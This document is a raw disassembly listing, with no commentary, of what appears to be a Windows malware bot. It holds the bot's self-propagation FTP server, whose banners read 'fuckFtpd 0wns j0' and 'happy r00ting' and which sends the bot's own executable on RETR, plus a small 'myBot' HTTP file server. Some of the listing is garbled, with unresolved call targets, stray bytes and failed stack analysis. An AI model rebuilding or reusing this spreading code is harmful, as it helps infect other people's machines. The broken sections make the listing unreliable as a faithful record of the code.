cmp [ebp-228h], esi
jbe short loc_403A60
lea edx, [ebp-224h]
loc_403A50: ; CODE XREF: seg000:00403A5Ej
cmp [edx], eax
jz short loc_403A60
inc ecx
add edx, 4
cmp ecx, [ebp-228h]
jb short loc_403A50
loc_403A60: ; CODE XREF: seg000:00403A48j
; seg000:00403A52j
cmp ecx, [ebp-228h]
jnz short loc_403A7E
cmp dword ptr [ebp-228h], 40h
jnb short loc_403A7E
mov [ebp+ecx*4-224h], eax
inc dword ptr [ebp-228h]
loc_403A7E: ; CODE XREF: seg000:00403A66j
; seg000:00403A6Fj
cmp eax, [ebp-4]
jle short loc_403A86
mov [ebp-4], eax
loc_403A86: ; CODE XREF: seg000:00403A81j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; dword_41F1DC
jmp loc_403E98
; ---------------------------------------------------------------------------
loc_403A96: ; CODE XREF: seg000:00403A1Aj
push esi
lea eax, [ebp-29Ch]
push 64h
push eax
push edi
call ds:dword_41F1D0 ; recv
test eax, eax
jg short loc_403AFD
mov edx, [ebp-228h]
xor ecx, ecx
cmp edx, esi
jbe short loc_403AF1
lea eax, [ebp-224h]
loc_403ABD: ; CODE XREF: seg000:00403AC7j
cmp [eax], edi
jz short loc_403ACB
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_403ABD
jmp short loc_403AF1
; ---------------------------------------------------------------------------
loc_403ACB: ; CODE XREF: seg000:00403ABFj
dec edx
cmp ecx, edx
jnb short loc_403AEB
lea eax, [ebp+ecx*4-224h]
loc_403AD7: ; CODE XREF: seg000:00403AE9j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp-228h]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_403AD7
loc_403AEB: ; CODE XREF: seg000:00403ACEj
dec dword ptr [ebp-228h]
loc_403AF1: ; CODE XREF: seg000:00403AB5j
; seg000:00403AC9j
push edi
call ds:dword_41F1D4 ; closesocket
jmp loc_403E98
; ---------------------------------------------------------------------------
loc_403AFD: ; CODE XREF: seg000:00403AA9j
lea eax, [ebp-334h]
push eax
lea eax, [ebp-0ACh]
push eax
lea eax, [ebp-29Ch]
push offset aSS_1 ; "%s %s"
push eax
call sub_414B30
lea eax, [ebp-0ACh]
push offset aUser_0 ; "USER"
push eax
call sub_4139D0
add esp, 18h
test eax, eax
jnz short loc_403B41
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403B41: ; CODE XREF: seg000:00403B32j
lea eax, [ebp-0ACh]
push offset aPass ; "PASS"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403B65
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403B65: ; CODE XREF: seg000:00403B56j
lea eax, [ebp-0ACh]
push offset aSyst ; "SYST"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403B89
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403B89: ; CODE XREF: seg000:00403B7Aj
lea eax, [ebp-0ACh]
push offset aRest ; "REST"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403BAD
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403BAD: ; CODE XREF: seg000:00403B9Ej
lea eax, [ebp-0ACh]
push offset off_422C84
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403BD1
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403BD1: ; CODE XREF: seg000:00403BC2j
lea eax, [ebp-0ACh]
push offset aType ; "TYPE"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403C0C
lea eax, [ebp-334h]
push offset aA ; "A"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403C0C
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403C0C: ; CODE XREF: seg000:00403BE6j
; seg000:00403BFDj
lea eax, [ebp-0ACh]
push offset aType ; "TYPE"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403C47
lea eax, [ebp-334h]
push offset aI ; "I"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403C47
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_403E83
; ---------------------------------------------------------------------------
loc_403C47: ; CODE XREF: seg000:00403C21j
; seg000:00403C38j
lea eax, [ebp-0ACh]
push offset aPasv ; "PASV"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403C95
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp-124h]
rep movsd
push eax
lea eax, [ebp-124h]
push eax
movsw
call sub_413DB0
pop ecx
push eax
lea eax, [ebp-124h]
loc_403C85: ; CODE XREF: seg000:00403CD4j
push eax
push dword ptr [ebp+8]
call ebx ; dword_41F1DC
xor esi, esi
loc_403C8D: ; CODE XREF: seg000:00403DA4j
mov edi, [ebp+8]
jmp loc_403E86
; ---------------------------------------------------------------------------
loc_403C95: ; CODE XREF: seg000:00403C5Cj
lea eax, [ebp-0ACh]
push offset aList ; "LIST"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403CD6
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp-0C4h]
rep movsd
movsw
push eax
lea eax, [ebp-0C4h]
push eax
movsb
call sub_413DB0
pop ecx
push eax
lea eax, [ebp-0C4h]
jmp short loc_403C85
; ---------------------------------------------------------------------------
loc_403CD6: ; CODE XREF: seg000:00403CAAj
lea eax, [ebp-0ACh]
push offset aPort ; "PORT"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_403DA9
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-0F8h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-29Ch]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_414B30
lea eax, [ebp-0F8h]
push eax
call sub_413B1F
mov edi, eax
lea eax, [ebp-2D0h]
push eax
call sub_413B1F
mov [ebp-8], eax
push 32h
lea eax, [ebp-0F8h]
push esi
push eax
call sub_413630
push dword ptr [ebp-8]
lea eax, [ebp-0F8h]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4135AD
add esp, 44h
lea eax, [ebp-0F8h]
push 10h
push esi
push eax
call sub_414B19
mov [ebp-8], eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-48h]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4135AD
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push dword ptr [ebp+8]
call ebx ; dword_41F1DC
jmp loc_403C8D
; ---------------------------------------------------------------------------
loc_403DA9: ; CODE XREF: seg000:00403CEBj
lea eax, [ebp-0ACh]
push offset aRetr ; "RETR"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_403E64
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; dword_41F1DC
push dword ptr [ebp-8]
lea eax, [ebp-48h]
push eax
call sub_403EB4
pop ecx
cmp eax, 1
pop ecx
jnz short loc_403E5A
call sub_403F31
cmp eax, 1
jnz loc_403E86
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; dword_41F1DC
lea eax, [ebp-6D8h]
push eax
lea eax, [ebp-48h]
push ds:dword_42E350
push eax
lea eax, [ebp-8DCh]
push offset dword_422AC8
push eax
call sub_4135AD
add esp, 14h
cmp [ebp-440h], esi
jnz short loc_403E4B
push esi
lea eax, [ebp-8DCh]
push dword ptr [ebp-444h]
push eax
lea eax, [ebp-4C4h]
push eax
push dword ptr [ebp-6DCh]
call sub_4110B0
add esp, 14h
loc_403E4B: ; CODE XREF: seg000:00403E26j
lea eax, [ebp-8DCh]
push eax
call sub_409615
pop ecx
jmp short loc_403E86
; ---------------------------------------------------------------------------
loc_403E5A: ; CODE XREF: seg000:00403DE0j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_403E83
; ---------------------------------------------------------------------------
loc_403E64: ; CODE XREF: seg000:00403DBEj
lea eax, [ebp-0ACh]
push offset aQuit ; "QUIT"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_403E86
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_403E83: ; CODE XREF: seg000:00403B3Cj
; seg000:00403B60j ...
push edi
call ebx ; dword_41F1DC
loc_403E86: ; CODE XREF: seg000:00403C90j
; seg000:00403DEAj ...
push 64h
lea eax, [ebp-29Ch]
push esi
push eax
call sub_413630
add esp, 0Ch
loc_403E98: ; CODE XREF: seg000:00403A11j
; seg000:00403A3Aj ...
inc edi
cmp edi, [ebp-4]
mov [ebp+8], edi
jle loc_4039DF
jmp loc_4039A4
; ---------------------------------------------------------------------------
loc_403EAA: ; CODE XREF: seg000:004039CFj
push 1
pop eax
loc_403EAD: ; CODE XREF: seg000:00403981j
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EB4 proc near ; CODE XREF: seg000:00403DD6p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_41F1B4 ; WSAStartup
push 0
push 1
push 2
call ds:dword_41F1D8 ; socket
push [ebp+arg_0]
mov ds:dword_42E34C, eax
mov [ebp+var_10], 2
call ds:dword_41F1A8 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_41F1C0 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_42E34C
call ds:dword_41F1AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_403F2C
push ds:dword_42E34C
call ds:dword_41F1D4 ; closesocket
call ds:dword_41F1B0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_403F2C: ; CODE XREF: sub_403EB4+60j
push 1
pop eax
leave
retn
sub_403EB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403F31 proc near ; CODE XREF: seg000:00403DE2p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 0A70000h
pusha
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_413CA8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_403FC8
test byte ptr [esi+0Ch], 10h
jnz short loc_403FAC
push edi
mov edi, 400h
loc_403F74: ; CODE XREF: sub_403F31+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_414C40
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push ds:dword_42E34C
call ds:dword_41F1DC ; send
push 1
call ds:dword_41F058 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_403F74
pop edi
loc_403FAC: ; CODE XREF: sub_403F31+3Bj
push esi
call sub_413C00
pop ecx
push ds:dword_42E34C
call ds:dword_41F1D4 ; closesocket
call ds:dword_41F1B0 ; WSACleanup
push 1
pop eax
loc_403FC8: ; CODE XREF: sub_403F31+35j
pop esi
leave
retn
sub_403F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FCB proc near ; DATA XREF: sub_40571E+333o
; seg000:004103C7o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_1654 = byte ptr -1654h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_654 = byte ptr -654h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_360 = byte ptr -360h
var_2C4 = byte ptr -2C4h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_413E30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_413630
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_42F708
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_42F788
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_4043B6
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_4348A4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_42F734
cmp eax, 0FFFFFFFFh
jz loc_4043B6
push 7FFFFFFFh
push edi
call ds:dword_42F730
cmp eax, 0FFFFFFFFh
jz loc_4043B6
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_42F7A4
cmp eax, 0FFFFFFFFh
jz loc_4043B6
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_4040A2: ; CODE XREF: sub_403FCB+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_42F6F0
cmp eax, 0FFFFFFFFh
jz loc_4043B1
xor esi, esi
mov [ebp+var_4], esi
loc_4040D8: ; CODE XREF: sub_403FCB+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call ds:dword_42F600
test eax, eax
jz loc_40439C
cmp esi, [ebp+var_C]
jnz short loc_40415A
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call ds:dword_42F79C
cmp eax, 0FFFFFFFFh
jz loc_40439C
xor ecx, ecx
test ebx, ebx
jbe short loc_40412C
lea edx, [ebp+var_134]
loc_404120: ; CODE XREF: sub_403FCB+15Fj
cmp [edx], eax
jz short loc_40412C
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_404120
loc_40412C: ; CODE XREF: sub_403FCB+14Dj
; sub_403FCB+157j
cmp ecx, ebx
jnz short loc_404149
cmp ebx, 40h
jnb short loc_404149
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_404149: ; CODE XREF: sub_403FCB+163j
; sub_403FCB+168j
cmp eax, [ebp+var_8]
jbe loc_40439C
mov [ebp+var_8], eax
jmp loc_40439C
; ---------------------------------------------------------------------------
loc_40415A: ; CODE XREF: sub_403FCB+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_413630
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_413630
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call ds:dword_42F720
test eax, eax
jg short loc_4041ED
push esi
call ds:dword_42F7A0
xor ecx, ecx
test ebx, ebx
jbe loc_40439C
lea eax, [ebp+var_134]
loc_4041AC: ; CODE XREF: sub_403FCB+1EBj
cmp [eax], esi
jz short loc_4041BD
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_4041AC
jmp loc_40439C
; ---------------------------------------------------------------------------
loc_4041BD: ; CODE XREF: sub_403FCB+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_4041E1
lea eax, [ebp+ecx*4+var_134]
loc_4041CB: ; CODE XREF: sub_403FCB+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_4041CB
loc_4041E1: ; CODE XREF: sub_403FCB+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40439C
; ---------------------------------------------------------------------------
loc_4041ED: ; CODE XREF: sub_403FCB+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_413630
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_413DB0
add esp, 10h
test eax, eax
jbe loc_40439C
loc_40421B: ; CODE XREF: sub_403FCB+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_4042C0
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_404294
lea eax, [ebp+var_18F0]
push eax
call sub_413DB0
cmp eax, 5
pop ecx
jbe short loc_404294
mov eax, offset asc_422D6C ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_413B80
pop ecx
pop ecx
push eax
call sub_413B80
pop ecx
pop ecx
push eax
call sub_414D28
push eax
lea eax, [ebp+var_23C]
push eax
call sub_413CC0
add esp, 10h
jmp short loc_4042AB
; ---------------------------------------------------------------------------
loc_404294: ; CODE XREF: sub_403FCB+27Fj
; sub_403FCB+291j
lea eax, [ebp+var_18F0]
push offset asc_422D68 ; "\r\n"
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_4042DF
loc_4042AB: ; CODE XREF: sub_403FCB+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_413630
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_4042C0: ; CODE XREF: sub_403FCB+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_413DB0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40421B
jmp loc_40439C
; ---------------------------------------------------------------------------
loc_4042DF: ; CODE XREF: sub_403FCB+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_404329
lea eax, [ebp+var_134]
loc_4042EB: ; CODE XREF: sub_403FCB+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_4042FC
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_4042EB
jmp short loc_40432C
; ---------------------------------------------------------------------------
loc_4042FC: ; CODE XREF: sub_403FCB+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_404320
lea eax, [ebp+ecx*4+var_134]
loc_40430A: ; CODE XREF: sub_403FCB+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40430A
loc_404320: ; CODE XREF: sub_403FCB+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40432C
; ---------------------------------------------------------------------------
loc_404329: ; CODE XREF: sub_403FCB+318j
mov esi, [ebp+var_4]
loc_40432C: ; CODE XREF: sub_403FCB+32Fj
; sub_403FCB+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_404395
lea eax, [ebp+var_360]
push eax
call sub_413DB0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_413DB0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_404395
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call ds:dword_42F7A4
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call loc_4045A8
add esp, 14h
jmp short loc_40439C
; ---------------------------------------------------------------------------
loc_404395: ; CODE XREF: sub_403FCB+369j
; sub_403FCB+38Fj
push esi
call ds:dword_42F7A0
loc_40439C: ; CODE XREF: sub_403FCB+11Dj
; sub_403FCB+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_4040D8
jmp loc_4040A2
; ---------------------------------------------------------------------------
loc_4043B1: ; CODE XREF: sub_403FCB+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_4043B6: ; CODE XREF: sub_403FCB+6Aj
; sub_403FCB+92j ...
call ds:dword_42F69C
push eax
lea eax, [ebp+var_8F0]
push offset unk_422D20
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_4043FC
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_4110B0
add esp, 14h
loc_4043FC: ; CODE XREF: sub_403FCB+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_409615
pop ecx
push edi
call ds:dword_42F7A0
push [ebp+var_254]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
adc eax, 555B5E5Fh
mov ebp, esp
mov eax, 1654h
call sub_413E30
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4135AD
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_4135AD
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_40448B
push offset aTextHtml ; "text/html"
jmp short loc_404490
; ---------------------------------------------------------------------------
loc_40448B: ; CODE XREF: sub_403FCB+4B7j
push offset aApplicationOct ; "application/octet-stream"
loc_404490: ; CODE XREF: sub_403FCB+4BEj
lea eax, [ebp+var_9C]
push eax
call sub_4135AD
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 0A70000h
outsd
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 0A70000h
out dx, eax
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_404509
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4135AD
add esp, 24h
jmp short loc_40452A
; ---------------------------------------------------------------------------
loc_404509: ; CODE XREF: sub_403FCB+51Fj
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4135AD
add esp, 28h
loc_40452A: ; CODE XREF: sub_403FCB+53Cj
lea eax, [ebp+var_1654]
push edi
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call ds:dword_42F758
cmp [ebp+var_A4], edi
jnz short loc_40456A
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_404EDA
pop ecx
pop ecx
jmp short loc_404587
; ---------------------------------------------------------------------------
loc_40456A: ; CODE XREF: sub_403FCB+587j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_404858
add esp, 10h
loc_404587: ; CODE XREF: sub_403FCB+59Dj
push [ebp+var_44C]
call ds:dword_42F7A0
push [ebp+var_B4]
call sub_413375
pop ecx
push edi
call near ptr 0A70000h
lea ebx, [edi+5Eh]
sub_403FCB endp ; sp-analysis failed
loc_4045A8: ; CODE XREF: sub_403FCB+3C0p
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_413630
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4045DE
push eax
push offset aS_2 ; "\\%s"
jmp short loc_4045E7
; ---------------------------------------------------------------------------
loc_4045DE: ; CODE XREF: seg000:004045D4j
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_4045E7: ; CODE XREF: seg000:004045DCj
lea eax, [ebp-10Ch]
push eax
call sub_4135AD
add esp, 0Ch
lea eax, [ebp-10Ch]
xor esi, esi
xor ebx, ebx
push eax
call sub_413DB0
test eax, eax
pop ecx
jbe short loc_404682
mov dword ptr [ebp+10h], 2
loc_404612: ; CODE XREF: seg000:00404680j
lea eax, [ebp-10Ch]
push eax
call sub_413DB0
cmp [ebp+10h], eax
pop ecx
jnb short loc_404652
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_404652
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_404652
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_404652
inc esi
mov byte ptr [ebp+ebx-210h], 20h
inc esi
add dword ptr [ebp+10h], 2
jmp short loc_40466C
; ---------------------------------------------------------------------------
loc_404652: ; CODE XREF: seg000:00404622j
; seg000:0040462Cj ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_404662
push 5Ch
pop eax
jmp short loc_404665
; ---------------------------------------------------------------------------
loc_404662: ; CODE XREF: seg000:0040465Bj
movsx eax, al
loc_404665: ; CODE XREF: seg000:00404660j
mov [ebp+ebx-210h], al
loc_40466C: ; CODE XREF: seg000:00404650j
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_413DB0
cmp esi, eax
pop ecx
jb short loc_404612
loc_404682: ; CODE XREF: seg000:00404609j
lea eax, [ebp-210h]
push eax
lea eax, [ebp-314h]
push dword ptr [ebp+0Ch]
push offset aSS_2 ; "%s%s"
push eax
call sub_4135AD
lea eax, [ebp-314h]
push offset asc_423020 ; "\n"
push eax
call sub_414D28
add esp, 18h
lea eax, [ebp-314h]
push eax
call ds:dword_41F07C ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4046D0
cmp eax, 0FFFFFFFFh
jnz short loc_4046D3
push dword ptr [ebp+8]
jmp short loc_40474F
; ---------------------------------------------------------------------------
loc_4046D0: ; CODE XREF: seg000:004046C4j
mov [ebp-4], esi
loc_4046D3: ; CODE XREF: seg000:004046C9j
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_4046E0
mov [ebp-4], esi
loc_4046E0: ; CODE XREF: seg000:004046DBj
mov ebx, [ebp+8]
cmp [ebp-4], edi
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_40475A
cmp [ebp+14h], edi
jz short loc_40474E
lea eax, [ebp-314h]
push offset asc_42301C ; "*"
push eax
call sub_413CD0
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_4135AD
lea eax, [ebp-210h]
push eax
call sub_404F97
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_4135AD
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_4047A9
; ---------------------------------------------------------------------------
loc_40474E: ; CODE XREF: seg000:004046F7j
push ebx
loc_40474F: ; CODE XREF: seg000:004046CEj
call ds:dword_42F7A0
jmp loc_404851
; ---------------------------------------------------------------------------
loc_40475A: ; CODE XREF: seg000:004046F2j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp-314h]
push 80000000h
push eax
call ds:dword_41F078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4047A9
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_4135AD
pop ecx
mov [ebp-31Ch], edi
pop ecx
push edi
push esi
call near ptr 0A70000h
mov edx, 0D0858956h
cld
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
adc eax, offset dword_41F070
loc_4047A9: ; CODE XREF: seg000:0040474Cj
; seg000:00404777j
mov esi, [ebp+18h]
lea eax, [ebp-8C4h]
push esi
push offset unk_422FD8
push eax
call sub_4135AD
push edi
lea eax, [ebp-8C4h]
push 3
push eax
